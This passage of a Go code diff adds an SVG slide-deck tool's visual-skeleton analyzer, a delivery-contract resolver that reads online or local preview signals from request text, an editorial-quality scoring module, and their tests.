+		t.Fatal(err)
+	}
+	mustWriteTestFile(t, "demo/visual_receipts.json", string(raw))
+}
+
+func repeatedArchetypeReceipt(slideID string, family string, archetype string, signature string, intent string, evidence string) visualReceipt {
+	return visualReceipt{
+		SlideID:                    slideID,
+		StoryJob:                   "proof",
+		LayoutFamily:               family,
+		LayoutArchetype:            archetype,
+		LayoutSignature:            signature,
+		ThumbnailJob:               "thumbnail",
+		VisualCenter:               "visual center",
+		TopicFitClaim:              "topic fit",
+		InformationDensityPlan:     "one claim plus supporting visual",
+		PageDifferenceFromPrevious: "different named page in sequence",
+		PrimaryAsset:               "chart.svg",
+		AssetRole:                  "chart",
+		FontRoleUsage:              map[string]string{"display": "Inter", "body": "Aptos", "number": "Roboto Mono", "label": "Inter"},
+		CompositionIntent:          intent,
+		SourceEvidence:             []string{evidence},
+		FusionSpec:                 visualFusionReceipt{Enabled: false},
+		QAExpectations:             []string{"vary layout"},
+	}
+}
+
+func creativeQualityGoodSVG() string {
+	return `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">` + fontTokenStyleForTest() + `<rect width="960" height="540"/><text x="48" y="80">Opening</text><text x="48" y="132">A focused claim</text></svg>`
+}
+
+func repeatedGenericNodeLineSVGForTest() string {
+	return `<svg xmlns="http://www.w3.org/2000/svg" xmlns:slide="https://slides.bytedance.com/ns" slide:role="slide" viewBox="0 0 960 540">` + fontTokenStyleForTest() + `<rect width="960" height="540" fill="#f6f8fa"/><g data-svglide-visual-form="generic"><path d="M120 270 H840" stroke="#999"/><circle cx="180" cy="230" r="20"/><circle cx="340" cy="310" r="20"/><circle cx="500" cy="230" r="20"/><circle cx="660" cy="310" r="20"/><text x="80" y="120">Repeated generic diagram</text></g></svg>`
+}
+
+func setRunVisualQualityModeForTest(t *testing.T, mode string) {
+	t.Helper()
+	raw, err := os.ReadFile(filepath.Join("demo", "run.json"))
+	if err != nil {
+		t.Fatal(err)
+	}
+	var run Run
+	if err := json.Unmarshal(raw, &run); err != nil {
+		t.Fatal(err)
+	}
+	run.VisualQualityMode = mode
+	if err := writeJSON(filepath.Join("demo", "run.json"), run); err != nil {
+		t.Fatal(err)
+	}
+}
+
+func creativeIssueCodesContain(issues []CreativeQualityIssue, want string) bool {
+	for _, issue := range issues {
+		if issue.Code == want || strings.Contains(issue.Code, want) {
+			return true
+		}
+	}
+	return false
+}

internal/svglide/creative_visual_skeleton.go

@@ -0,0 +1,153 @@
+package svglide
+
+import (
+	"fmt"
+	"regexp"
+	"strings"
+)
+
+var (
+	svgVisualFormAttrPattern = regexp.MustCompile(`(?i)\bdata-svglide-visual-form\s*=\s*"([^"]+)"`)
+	svgPathTagPattern        = regexp.MustCompile(`(?is)<path\b`)
+	svgLineTagPattern        = regexp.MustCompile(`(?is)<line\b`)
+	svgCircleTagPattern      = regexp.MustCompile(`(?is)<circle\b`)
+	svgEllipseTagPattern     = regexp.MustCompile(`(?is)<ellipse\b`)
+)
+
+type visualSkeletonSummary struct {
+	FormHint     string
+	RectCount    int
+	PathCount    int
+	LineCount    int
+	CircleCount  int
+	EllipseCount int
+	ImageCount   int
+	TextCount    int
+}
+
+func analyzeVisualSkeleton(svg string) visualSkeletonSummary {
+	summary := visualSkeletonSummary{
+		RectCount:    len(svgRectTagForCreativePattern.FindAllStringIndex(svg, -1)),
+		PathCount:    len(svgPathTagPattern.FindAllStringIndex(svg, -1)),
+		LineCount:    len(svgLineTagPattern.FindAllStringIndex(svg, -1)),
+		CircleCount:  len(svgCircleTagPattern.FindAllStringIndex(svg, -1)),
+		EllipseCount: len(svgEllipseTagPattern.FindAllStringIndex(svg, -1)),
+		ImageCount:   countSVGImageElements(svg),
+		TextCount:    len(svgTextBlockForCreativePattern.FindAllStringIndex(svg, -1)),
+	}
+	if match := svgVisualFormAttrPattern.FindStringSubmatch(svg); len(match) == 2 {
+		summary.FormHint = normalizeAuthorVisualForm(match[1])
+	}
+	return summary
+}
+
+func visualSkeletonSignature(summary visualSkeletonSummary) string {
+	if summary.FormHint != "" {
+		return "diagram:" + summary.FormHint + "|" + visualSkeletonGeometryToken(summary)
+	}
+	switch {
+	case summary.ImageCount > 0 && summary.PathCount+summary.LineCount+summary.CircleCount+summary.EllipseCount >= 5:
+		return "image_annotation|" + visualSkeletonGeometryToken(summary)
+	case summary.ImageCount > 0:
+		return "image_forward|" + visualSkeletonGeometryToken(summary)
+	case summary.CircleCount >= 4 && summary.PathCount+summary.LineCount >= 4:
+		return "node_line|" + visualSkeletonGeometryToken(summary)
+	case summary.RectCount >= 8 && summary.PathCount+summary.LineCount >= 4:
+		return "matrix_grid|" + visualSkeletonGeometryToken(summary)
+	case summary.RectCount >= 4:
+		return "rect_series|" + visualSkeletonGeometryToken(summary)
+	case summary.PathCount+summary.LineCount >= 3:
+		return "rule_path|" + visualSkeletonGeometryToken(summary)
+	case summary.TextCount > 0:
+		return "open_text|" + visualSkeletonGeometryToken(summary)
+	default:
+		return "minimal|" + visualSkeletonGeometryToken(summary)
+	}
+}
+
+func visualSkeletonGeometryToken(summary visualSkeletonSummary) string {
+	return fmt.Sprintf("r%d-p%d-l%d-c%d-e%d-i%d-t%d",
+		bucketVisualSkeletonCount(summary.RectCount),
+		bucketVisualSkeletonCount(summary.PathCount),
+		bucketVisualSkeletonCount(summary.LineCount),
+		bucketVisualSkeletonCount(summary.CircleCount),
+		bucketVisualSkeletonCount(summary.EllipseCount),
+		bucketVisualSkeletonCount(summary.ImageCount),
+		bucketVisualSkeletonCount(summary.TextCount),
+	)
+}
+
+func bucketVisualSkeletonCount(value int) int {
+	switch {
+	case value <= 0:
+		return 0
+	case value == 1:
+		return 1
+	case value <= 3:
+		return 3
+	case value <= 6:
+		return 6
+	default:
+		return 9
+	}
+}
+
+func expectedSlideVisualForm(content authorSlideContent) string {
+	for _, visual := range content.Visuals {
+		if !requiresConcreteVisualForm(visual.Type) {
+			continue
+		}
+		if form := normalizeAuthorVisualForm(visual.VisualForm); form != "" {
+			return form
+		}
+		return authorVisualForm(visual, content)
+	}
+	return ""
+}
+
+func visualSkeletonMatchesForm(summary visualSkeletonSummary, expected string) bool {
+	expected = normalizeAuthorVisualForm(expected)
+	if expected == "" {
+		return true
+	}
+	if summary.FormHint == expected {
+		return true
+	}
+	switch expected {
+	case authorVisualFormFourQuadrant:
+		return summary.RectCount >= 1 && summary.PathCount+summary.LineCount >= 2 && summary.CircleCount >= 4
+	case authorVisualFormSpectrum:
+		return summary.RectCount >= 4 && summary.CircleCount <= 2
+	case authorVisualFormMapRoute:
+		return summary.PathCount >= 2 && summary.CircleCount >= 2
+	case authorVisualFormProcessFlow:
+		return summary.CircleCount >= 3 && summary.PathCount+summary.LineCount >= 3
+	case authorVisualFormParameterMatrix:
+		return summary.PathCount+summary.LineCount >= 4 && summary.RectCount >= 1
+	case authorVisualFormSensoryWheel:
+		return summary.CircleCount >= 4 && summary.PathCount+summary.LineCount >= 4
+	case authorVisualFormObjectCallout:
+		return summary.EllipseCount >= 1 && summary.PathCount+summary.LineCount >= 3
+	case authorVisualFormGeneric:
+		return true
+	default:
+		return false
+	}
+}
+
+func isRepeatedVisualSkeletonRisk(signature string) bool {
+	return !containsAny(strings.ToLower(signature), []string{
+		"open_text|",
+		"minimal|",
+		"image_forward|",
+	})
+}
+
+func repeatedVisualSkeletonRisk(counts map[string]int) bool {
+	for signature, count := range counts {
+		if count >= 3 && isRepeatedVisualSkeletonRisk(signature) {
+			return true
+		}
+	}
+	return false
+}

internal/svglide/delivery_contract.go

@@ -0,0 +1,184 @@
+package svglide
+
+import (
+	"encoding/json"
+	"fmt"
+	"path/filepath"
+	"strings"
+)
+
+const (
+	DeliveryTargetLocalPreview = "local_preview"
+	DeliveryTargetOnlineSlide  = "online_slide"
+	DeliveryTargetBoth         = "both"
+
+	deliveryContractPath = "request/delivery_contract.json"
+)
+
+type DeliveryContractFile struct {
+	PromptContract   StagePromptContract `json:"prompt_contract,omitempty"`
+	DeliveryContract DeliveryContract    `json:"delivery_contract"`
+}
+
+type DeliveryContract struct {
+	DeliveryTarget       string   `json:"delivery_target"`
+	RequiresOnlineSlide  bool     `json:"requires_online_slide"`
+	RequiresLocalPreview bool     `json:"requires_local_preview"`
+	RequiresRealImages   bool     `json:"requires_real_images"`
+	Reason               string   `json:"reason"`
+	DetectedSignals      []string `json:"detected_signals"`
+}
+
+func ResolveDeliveryContract(title string, topic string, explicitTarget string) DeliveryContract {
+	raw := normalizeDeliveryContractText(title + " " + topic)
+	target := normalizeDeliveryTarget(explicitTarget)
+	if target == "" {
+		target = DeliveryTargetLocalPreview
+	}
+	signals := deliverySignals(raw)
+	onlineSignal := requestHasOnlineDeliverySignalText(raw)
+	if explicitTarget == "" && onlineSignal {
+		target = DeliveryTargetOnlineSlide
+	}
+	requiresOnline := target == DeliveryTargetOnlineSlide || target == DeliveryTargetBoth
+	return DeliveryContract{
+		DeliveryTarget:       target,
+		RequiresOnlineSlide:  requiresOnline,
+		RequiresLocalPreview: target == DeliveryTargetLocalPreview || target == DeliveryTargetBoth,
+		RequiresRealImages:   requestHasRealImageSignalText(raw),
+		Reason:               "resolved from explicit delivery target and request text",
+		DetectedSignals:      signals,
+	}
+}
+
+func NormalizeDeliveryTarget(target string) string {
+	return normalizeDeliveryTarget(target)
+}
+
+func RequestHasOnlineDeliverySignal(title string, topic string) bool {
+	return requestHasOnlineDeliverySignalText(normalizeDeliveryContractText(title + " " + topic))
+}
+
+func DeliveryTargetConflictsWithOnlineSignal(title string, topic string, target string) bool {
+	return normalizeDeliveryTarget(target) == DeliveryTargetLocalPreview && RequestHasOnlineDeliverySignal(title, topic)
+}
+
+func normalizeDeliveryTarget(target string) string {
+	switch strings.TrimSpace(target) {
+	case "":
+		return ""
+	case DeliveryTargetLocalPreview:
+		return DeliveryTargetLocalPreview
+	case DeliveryTargetOnlineSlide:
+		return DeliveryTargetOnlineSlide
+	case DeliveryTargetBoth:
+		return DeliveryTargetBoth
+	default:
+		return strings.TrimSpace(target)
+	}
+}
+
+func deliverySignals(raw string) []string {
+	out := []string{}
+	for _, token := range []string{
+		"线上", "飞书", "lark", "feishu", "online", "share", "共享", "创建 slide", "创建slides",
+		"真实", "实际", "图片", "照片", "论文", "paper", "report", "pdf",
+	} {
+		if strings.Contains(raw, strings.ToLower(token)) {
+			out = appendUnique(out, token)
+		}
+	}
+	return out
+}
+
+func requestHasOnlineDeliverySignalText(raw string) bool {
+	if containsAny(raw, []string{"不需要线上", "无需线上", "不要线上", "本地预览即可", "local preview only"}) {
+		return false
+	}
+	return containsAny(raw, []string{
+		"线上", "飞书", "lark", "feishu", "online", "share", "共享",
+		"创建 slide", "创建slides", "真正创建", "线上 slide", "线上slides",
+		"download the report as pdf", "下载为 pdf", "导出 pdf",
+	})
+}
+
+func requestHasRealImageSignalText(raw string) bool {
+	if containsAny(raw, []string{"纯向量", "不要图片", "不使用图片", "no photos", "no images", "vector-only", "chart-only"}) {
+		return false
+	}
+	return containsAny(raw, []string{
+		"真实", "实际", "美观", "视觉冲击", "图片", "照片", "官网", "论文", "paper", "report",
+		"公司", "品牌", "人物", "地点", "赛事", "产品", "financial report", "deep dive",
+	})
+}
+
+func normalizeDeliveryContractText(value string) string {
+	value = strings.ToLower(strings.TrimSpace(value))
+	value = strings.Join(strings.Fields(value), " ")
+	return value
+}
+
+func readDeliveryContract(safeRoot string, run Run) (DeliveryContract, bool, error) {
+	raw, err := readRunRegularArtifact(safeRoot, deliveryContractPath)
+	if err != nil {
+		return ResolveDeliveryContract(run.Title, run.Intent.Topic, run.DeliveryTarget), false, nil
+	}
+	var file DeliveryContractFile
+	if err := json.Unmarshal(raw, &file); err != nil {
+		return DeliveryContract{}, true, fmt.Errorf("%s: invalid JSON: %w", deliveryContractPath, err)
+	}
+	contract := file.DeliveryContract
+	if strings.TrimSpace(contract.DeliveryTarget) == "" {
+		contract = ResolveDeliveryContract(run.Title, run.Intent.Topic, run.DeliveryTarget)
+	}
+	return contract, true, nil
+}
+
+func ValidateDeliveryContractGate(safeRoot string) error {
+	run, err := readRunFile(safeRoot)
+	if err != nil {
+		return err
+	}
+	contract, _, err := readDeliveryContract(safeRoot, run)
+	if err != nil {
+		return err
+	}
+	switch contract.DeliveryTarget {
+	case DeliveryTargetLocalPreview, DeliveryTargetOnlineSlide, DeliveryTargetBoth:
+	default:
+		return fmt.Errorf("delivery_contract_gate: unsupported delivery_target %q", contract.DeliveryTarget)
+	}
+	if contract.DeliveryTarget == DeliveryTargetLocalPreview && RequestHasOnlineDeliverySignal(run.Title, run.Intent.Topic) {
+		return fmt.Errorf("delivery_contract_gate: request asks for online delivery but delivery_target is local_preview")
+	}
+	if contract.RequiresOnlineSlide && contract.DeliveryTarget == DeliveryTargetLocalPreview {
+		return fmt.Errorf("delivery_contract_gate: requires_online_slide=true conflicts with local_preview target")
+	}
+	return nil
+}
+
+func writeDeliveryContractFile(writeRoot string, opts InitOptions) error {
+	contract := ResolveDeliveryContract(opts.Title, opts.Topic, opts.DeliveryTarget)
+	promptContract, err := promptContractForInitArtifact(StageRequestResolution)
+	if err != nil {
+		return err
+	}
+	return writeJSON(filepath.Join(writeRoot, deliveryContractPath), DeliveryContractFile{
+		PromptContract:   promptContract,
+		DeliveryContract: contract,
+	})
+}
+
+func promptContractForInitArtifact(stage string) (StagePromptContract, error) {
+	requiredPromptIDs, err := CorePromptIDsForProfile(RouteProfileLocalSVGDeck)
+	if err != nil {
+		return StagePromptContract{}, err
+	}
+	return StagePromptContract{
+		Protocol:          ProtocolAnyGenSVGSlides,
+		Stage:             stage,
+		Orchestrator:      "mode_system_prompt_svg",
+		ProtocolReference: "svg_reference",
+		RequiredPromptIDs: requiredPromptIDs,
+	}, nil
+}

internal/svglide/delivery_contract_test.go

@@ -0,0 +1,57 @@
+package svglide
+
+import (
+	"slices"
+	"testing"
+)
+
+func TestResolveDeliveryContractDetectsOnlineSlide(t *testing.T) {
+	got := ResolveDeliveryContract("DeepSeek V4", "生成真实美观的线上 svg ppt", "")
+	if got.DeliveryTarget != DeliveryTargetOnlineSlide {
+		t.Fatalf("DeliveryTarget = %q, want %q", got.DeliveryTarget, DeliveryTargetOnlineSlide)
+	}
+	if !got.RequiresOnlineSlide {
+		t.Fatal("RequiresOnlineSlide = false, want true")
+	}
+	if !got.RequiresRealImages {
+		t.Fatal("RequiresRealImages = false, want true")
+	}
+}
+
+func TestResolveDeliveryContractAllowsExplicitLocalPreview(t *testing.T) {
+	got := ResolveDeliveryContract("Demo", "生成本地 SVG preview，不需要线上创建", DeliveryTargetLocalPreview)
+	if got.DeliveryTarget != DeliveryTargetLocalPreview {
+		t.Fatalf("DeliveryTarget = %q, want %q", got.DeliveryTarget, DeliveryTargetLocalPreview)
+	}
+	if got.RequiresOnlineSlide {
+		t.Fatal("RequiresOnlineSlide = true, want false")
+	}
+}
+
+func TestDeliveryTargetConflictsWithOnlineSignal(t *testing.T) {
+	if !DeliveryTargetConflictsWithOnlineSignal("Demo", "请创建线上飞书 slide", DeliveryTargetLocalPreview) {
+		t.Fatal("conflict = false, want true")
+	}
+	if DeliveryTargetConflictsWithOnlineSignal("Demo", "本地预览即可，不需要线上创建", DeliveryTargetLocalPreview) {
+		t.Fatal("conflict = true, want false")
+	}
+}
+
+func TestInitDeliveryContractUsesManifestPromptIDs(t *testing.T) {
+	contract, err := promptContractForInitArtifact(StageRequestResolution)
+	if err != nil {
+		t.Fatal(err)
+	}
+	want, err := CorePromptIDsForProfile(RouteProfileLocalSVGDeck)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !slices.Equal(contract.RequiredPromptIDs, want) {
+		t.Fatalf("RequiredPromptIDs = %v, want manifest-derived %v", contract.RequiredPromptIDs, want)
+	}
+	for _, id := range []string{"mode_system_prompt_svg", "svg_reference", "svglide_local_runtime_binding", "svglide_visual_quality_overlay", "slide_font_catalog"} {
+		if !slices.Contains(contract.RequiredPromptIDs, id) {
+			t.Fatalf("RequiredPromptIDs missing %q: %v", id, contract.RequiredPromptIDs)
+		}
+	}
+}

internal/svglide/editorial_quality.go

@@ -0,0 +1,229 @@
+package svglide
+
+import (
+	"fmt"
+	"strings"
+)
+
+const editorialQualityReportPath = "receipts/editorial_quality.json"
+
+type EditorialQualityReport struct {
+	Status  string                  `json:"status"`
+	Score   int                     `json:"score"`
+	Metrics EditorialQualityMetrics `json:"metrics"`
+	Issues  []EditorialQualityIssue `json:"issues"`
+	Target  editorialQualityTarget  `json:"target"`
+}
+
+type EditorialQualityMetrics struct {
+	Slides                         int `json:"slides"`
+	MediaPressureIssueCount        int `json:"media_pressure_issue_count"`
+	DominantRealImagePages         int `json:"dominant_real_image_pages"`
+	MaxConsecutiveInfographicPages int `json:"max_consecutive_infographic_pages"`
+	CardDominantRatioBP            int `json:"card_dominant_ratio_bp"`
+	ShapeLanguageMaxRatioBP        int `json:"shape_language_max_ratio_bp"`
+	CreativeErrorCount             int `json:"creative_error_count"`
+	ContentPayloadIssueCount       int `json:"content_payload_issue_count"`
+	SparseLabelListCount           int `json:"sparse_label_list_count"`
+	MissingEvidencePayloadCount    int `json:"missing_evidence_payload_count"`
+	MissingVisualDataItemsCount    int `json:"missing_visual_data_items_count"`
+	IssueCount                     int `json:"issue_count"`
+}
+
+type EditorialQualityIssue struct {
+	Code     string `json:"code"`
+	Path     string `json:"path"`
+	Message  string `json:"message"`
+	Severity string `json:"severity"`
+}
+
+type editorialQualityTarget struct {
+	MinimumScore                       int  `json:"minimum_score"`
+	RequireMediaPressurePassed         bool `json:"require_media_pressure_passed"`
+	RequireCoverDominantRealImage      bool `json:"require_cover_dominant_real_image"`
+	MaxConsecutiveInfographicOnlyPages int  `json:"max_consecutive_infographic_only_pages"`
+	MaxCardDominantRatioBP             int  `json:"max_card_dominant_ratio_bp"`
+	MaxShapeLanguageMaxRatioBP         int  `json:"max_shape_language_max_ratio_bp"`
+}
+
+func EvaluateEditorialQualityRun(contract qualityVisualContract, media MediaPressureReport, creative CreativeQualityReport, contentPayloadReports ...ContentPayloadReport) EditorialQualityReport {
+	target := resolveEditorialQualityTarget(contract)
+	contentPayload := ContentPayloadReport{}
+	if len(contentPayloadReports) > 0 {
+		contentPayload = contentPayloadReports[0]
+	}
+	report := EditorialQualityReport{
+		Status:  "passed",
+		Score:   100,
+		Metrics: editorialMetrics(media, creative, contentPayload),
+		Issues:  []EditorialQualityIssue{},
+		Target:  target,
+	}
+	if target.RequireMediaPressurePassed && media.Status != "passed" {
+		report.Score -= 35
+		addEditorialIssue(&report, mediaPressureReportPath, "svglide.editorial_quality.media_pressure", "media pressure must pass before the deck can be considered visually ready")
+	}
+	if target.RequireCoverDominantRealImage && media.Metrics.CoverDominantRealImagePages == 0 {
+		report.Score -= 25
+		addEditorialIssue(&report, mediaPressureReportPath, "svglide.editorial_quality.cover_hero", "topic archetype requires a cover-level dominant real image")
+	}
+	if target.MaxConsecutiveInfographicOnlyPages > 0 && media.Metrics.MaxConsecutiveInfographicPages > target.MaxConsecutiveInfographicOnlyPages {
+		report.Score -= 20
+		addEditorialIssue(&report, mediaPressureReportPath, "svglide.editorial_quality.infographic_run", fmt.Sprintf("consecutive infographic-only run is %d, want <= %d", media.Metrics.MaxConsecutiveInfographicPages, target.MaxConsecutiveInfographicOnlyPages))
+	}
+	if target.MaxCardDominantRatioBP > 0 && report.Metrics.CardDominantRatioBP > target.MaxCardDominantRatioBP {
+		report.Score -= 15
+		addEditorialIssue(&report, creativeQualityReportPath, "svglide.editorial_quality.card_overuse", fmt.Sprintf("card-dominant slide ratio is %d bp, want <= %d bp", report.Metrics.CardDominantRatioBP, target.MaxCardDominantRatioBP))
+	}
+	if target.MaxShapeLanguageMaxRatioBP > 0 && report.Metrics.ShapeLanguageMaxRatioBP > target.MaxShapeLanguageMaxRatioBP {
+		report.Score -= 15
+		addEditorialIssue(&report, creativeQualityReportPath, "svglide.editorial_quality.shape_language_overuse", fmt.Sprintf("shape language max ratio is %d bp, want <= %d bp", report.Metrics.ShapeLanguageMaxRatioBP, target.MaxShapeLanguageMaxRatioBP))
+	}
+	if creative.Status != "passed" {
+		report.Score -= minPositive(creativeErrorCount(creative)*5, 25)
+	}
+	if contentPayload.Metrics.IssueCount > 0 {
+		report.Score -= minPositive(contentPayload.Metrics.IssueCount*6, 30)
+		if contentPayload.Metrics.SparseLabelListCount > 0 {
+			addEditorialIssue(&report, contentPayloadReportPath, "svglide.editorial.content_sparse_label_list", fmt.Sprintf("sparse label-list slides: %d", contentPayload.Metrics.SparseLabelListCount))
+		}
+		if contentPayload.Metrics.MissingCentralClaimCount+contentPayload.Metrics.MissingSupportingPointsCount+contentPayload.Metrics.MissingSourceBoundFactCount+contentPayload.Metrics.SourceBindingIssueCount > 0 {
+			addEditorialIssue(&report, contentPayloadReportPath, "svglide.editorial.content_missing_evidence_payload", "substantive slides need central claims, supporting points, and source-bound facts")
+		}
+		if contentPayload.Metrics.MissingVisualDataItemsCount > 0 {
+			addEditorialIssue(&report, contentPayloadReportPath, "svglide.editorial.content_visual_data_mismatch", fmt.Sprintf("visual forms missing data items: %d", contentPayload.Metrics.MissingVisualDataItemsCount))
+		}
+	}
+	if target.MinimumScore > 0 && report.Score < target.MinimumScore {
+		addEditorialIssue(&report, editorialQualityReportPath, "svglide.editorial_quality.score", fmt.Sprintf("editorial quality score is %d, want >= %d", report.Score, target.MinimumScore))
+	}
+	if report.Score < 0 {
+		report.Score = 0
+	}
+	report.Metrics.IssueCount = len(report.Issues)
+	if report.Metrics.IssueCount > 0 {
+		report.Status = "failed"
+	}
+	return report
+}
+
+func EvaluateEditorialQualityExecutionFailure(contract qualityVisualContract, media MediaPressureReport, err error) EditorialQualityReport {
+	target := resolveEditorialQualityTarget(contract)
+	report := EditorialQualityReport{
+		Status: "failed",
+		Score:  0,
+		Metrics: EditorialQualityMetrics{
+			Slides:                         media.Metrics.Slides,
+			MediaPressureIssueCount:        media.Metrics.IssueCount,
+			DominantRealImagePages:         media.Metrics.DominantRealImagePages,
+			MaxConsecutiveInfographicPages: media.Metrics.MaxConsecutiveInfographicPages,
+			CreativeErrorCount:             1,
+			IssueCount:                     1,
+		},
+		Issues: []EditorialQualityIssue{{
+			Code:     "svglide.editorial_quality.creative_unavailable",
+			Path:     creativeQualityReportPath,
+			Message:  err.Error(),
+			Severity: "error",
+		}},
+		Target: target,
+	}
+	return report
+}
+
+func writeEditorialQualityReport(safeRoot string, report EditorialQualityReport) error {
+	target, err := ensureRunFileTargetForWrite(safeRoot, editorialQualityReportPath)
+	if err != nil {
+		return err
+	}
+	return writeJSON(target, report)
+}
+
+func resolveEditorialQualityTarget(contract qualityVisualContract) editorialQualityTarget {
+	target := defaultEditorialQualityTarget(strings.TrimSpace(contract.TopicArchetype))
+	explicit := contract.EditorialQualityTarget
+	if explicit.MinimumScore > 0 {
+		target.MinimumScore = explicit.MinimumScore
+	}
+	if explicit.RequireMediaPressurePassed {
+		target.RequireMediaPressurePassed = true
+	}
+	if explicit.RequireCoverDominantRealImage {
+		target.RequireCoverDominantRealImage = true
+	}
+	if explicit.MaxConsecutiveInfographicOnlyPages > 0 {
+		target.MaxConsecutiveInfographicOnlyPages = explicit.MaxConsecutiveInfographicOnlyPages
+	}
+	if explicit.MaxCardDominantRatioBP > 0 {
+		target.MaxCardDominantRatioBP = explicit.MaxCardDominantRatioBP
+	}
+	if explicit.MaxShapeLanguageMaxRatioBP > 0 {
+		target.MaxShapeLanguageMaxRatioBP = explicit.MaxShapeLanguageMaxRatioBP
+	}
+	return target
+}
+
+func defaultEditorialQualityTarget(archetype string) editorialQualityTarget {
+	switch archetype {
+	case "financial_company_report", "named_company_report":
+		return editorialQualityTarget{MinimumScore: 75, RequireMediaPressurePassed: true, RequireCoverDominantRealImage: true, MaxConsecutiveInfographicOnlyPages: 3, MaxCardDominantRatioBP: 5000, MaxShapeLanguageMaxRatioBP: 8000}
+	case "premium_product_brand", "brand_official_site":
+		return editorialQualityTarget{MinimumScore: 80, RequireMediaPressurePassed: true, RequireCoverDominantRealImage: true, MaxConsecutiveInfographicOnlyPages: 2, MaxCardDominantRatioBP: 3500, MaxShapeLanguageMaxRatioBP: 7500}
+	case "sports_editorial", "event_editorial":
+		return editorialQualityTarget{MinimumScore: 78, RequireMediaPressurePassed: true, RequireCoverDominantRealImage: true, MaxConsecutiveInfographicOnlyPages: 2, MaxCardDominantRatioBP: 4000, MaxShapeLanguageMaxRatioBP: 7000}
+	default:
+		return editorialQualityTarget{}
+	}
+}
+
+func editorialMetrics(media MediaPressureReport, creative CreativeQualityReport, contentPayload ContentPayloadReport) EditorialQualityMetrics {
+	slides := media.Metrics.Slides
+	if slides == 0 {
+		slides = creative.Metrics.Slides
+	}
+	cardRatio := 0
+	if creative.Metrics.Slides > 0 {
+		cardRatio = creative.Metrics.CardDominantSlideCount * 10000 / creative.Metrics.Slides
+	}
+	return EditorialQualityMetrics{
+		Slides:                         slides,
+		MediaPressureIssueCount:        media.Metrics.IssueCount,
+		DominantRealImagePages:         media.Metrics.DominantRealImagePages,
+		MaxConsecutiveInfographicPages: media.Metrics.MaxConsecutiveInfographicPages,
+		CardDominantRatioBP:            cardRatio,
+		ShapeLanguageMaxRatioBP:        creative.Metrics.ShapeLanguageMaxRatioBP,
+		CreativeErrorCount:             creativeErrorCount(creative),
+		ContentPayloadIssueCount:       contentPayload.Metrics.IssueCount,
+		SparseLabelListCount:           contentPayload.Metrics.SparseLabelListCount,
+		MissingEvidencePayloadCount:    contentPayload.Metrics.MissingCentralClaimCount + contentPayload.Metrics.MissingSupportingPointsCount + contentPayload.Metrics.MissingSourceBoundFactCount + contentPayload.Metrics.SourceBindingIssueCount,
+		MissingVisualDataItemsCount:    contentPayload.Metrics.MissingVisualDataItemsCount,
+	}
+}
+
+func creativeErrorCount(report CreativeQualityReport) int {
+	count := 0
+	for _, issue := range report.Issues {
+		if issue.Severity == "error" {
+			count++
+		}
+	}
+	return count
+}
+
+func addEditorialIssue(report *EditorialQualityReport, path, code, message string) {
+	report.Issues = append(report.Issues, EditorialQualityIssue{
+		Code:     code,
+		Path:     path,
+		Message:  message,
+		Severity: "error",
+	})
+}
+
+func isZeroEditorialQualityTarget(target editorialQualityTarget) bool {
+	return target.MinimumScore == 0 &&
+		!target.RequireMediaPressurePassed &&
+		!target.RequireCoverDominantRealImage &&
+		target.MaxConsecutiveInfographicOnlyPages == 0 &&
+		target.MaxCardDominantRatioBP == 0 &&
+		target.MaxShapeLanguageMaxRatioBP == 0
+}

internal/svglide/editorial_quality_test.go

@@ -0,0 +1,118 @@
+package svglide
+
+import (
+	"errors"
+	"testing"
+)
+
+func TestEditorialQualityRejectsPassedMechanicalGateWithoutMediaPressure(t *testing.T) {
+	contract := qualityVisualContract{TopicArchetype: "financial_company_report"}
+	media := MediaPressureReport{
+		Status:  "failed",
+		Metrics: MediaPressureMetrics{Slides: 5, IssueCount: 2, DominantRealImagePages: 0, CoverDominantRealImagePages: 0, MaxConsecutiveInfographicPages: 5},
+		Issues:  []MediaPressureIssue{{Code: "svglide.media_pressure.cover_dominant_real_image", Severity: "error"}},
+		Policy:  defaultMediaPressurePolicy("financial_company_report", 5),
+	}
+	creative := CreativeQualityReport{
+		Status:  "passed",
+		Metrics: CreativeQualityMetrics{Slides: 5, ShapeLanguageMaxRatioBP: 10000},
+	}
+
+	report := EvaluateEditorialQualityRun(contract, media, creative)
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed", report.Status)
+	}
+	if !editorialIssueCodesContain(report.Issues, "svglide.editorial_quality.media_pressure") {
+		t.Fatalf("issues = %+v, want media pressure issue", report.Issues)
+	}
+	if !editorialIssueCodesContain(report.Issues, "svglide.editorial_quality.cover_hero") {
+		t.Fatalf("issues = %+v, want cover hero issue", report.Issues)
+	}
+}
+
+func TestEditorialQualityPassesWhenArchetypeFloorIsMet(t *testing.T) {
+	contract := qualityVisualContract{TopicArchetype: "sports_editorial"}
+	media := MediaPressureReport{
+		Status:  "passed",
+		Metrics: MediaPressureMetrics{Slides: 8, IssueCount: 0, DominantRealImagePages: 3, CoverDominantRealImagePages: 1, MaxConsecutiveInfographicPages: 2},
+		Policy:  defaultMediaPressurePolicy("sports_editorial", 8),
+	}
+	creative := CreativeQualityReport{
+		Status:  "passed",
+		Metrics: CreativeQualityMetrics{Slides: 8, CardDominantSlideCount: 2, ShapeLanguageMaxRatioBP: 6250},
+	}
+
+	report := EvaluateEditorialQualityRun(contract, media, creative)
+	if report.Status != "passed" {
+		t.Fatalf("status = %q, want passed: %+v", report.Status, report.Issues)
+	}
+	if report.Score < report.Target.MinimumScore {
+		t.Fatalf("score = %d, want >= %d", report.Score, report.Target.MinimumScore)
+	}
+}
+
+func TestEditorialQualityExecutionFailureWritesActionableIssue(t *testing.T) {
+	contract := qualityVisualContract{TopicArchetype: "financial_company_report"}
+	media := MediaPressureReport{
+		Status:  "passed",
+		Metrics: MediaPressureMetrics{Slides: 3, IssueCount: 0, DominantRealImagePages: 2, CoverDominantRealImagePages: 1},
+	}
+
+	report := EvaluateEditorialQualityExecutionFailure(contract, media, errors.New("creative report missing"))
+	if report.Status != "failed" {
+		t.Fatalf("status = %q, want failed", report.Status)
+	}
+	if report.Metrics.CreativeErrorCount != 1 {
+		t.Fatalf("creative errors = %d, want 1", report.Metrics.CreativeErrorCount)
+	}
+	if !editorialIssueCodesContain(report.Issues, "svglide.editorial_quality.creative_unavailable") {
+		t.Fatalf("issues = %+v, want creative unavailable issue", report.Issues)
+	}
+}
+
+func TestEditorialQualityFailsContentPayloadIssues(t *testing.T) {
+	contract := qualityVisualContract{}
+	media := MediaPressureReport{
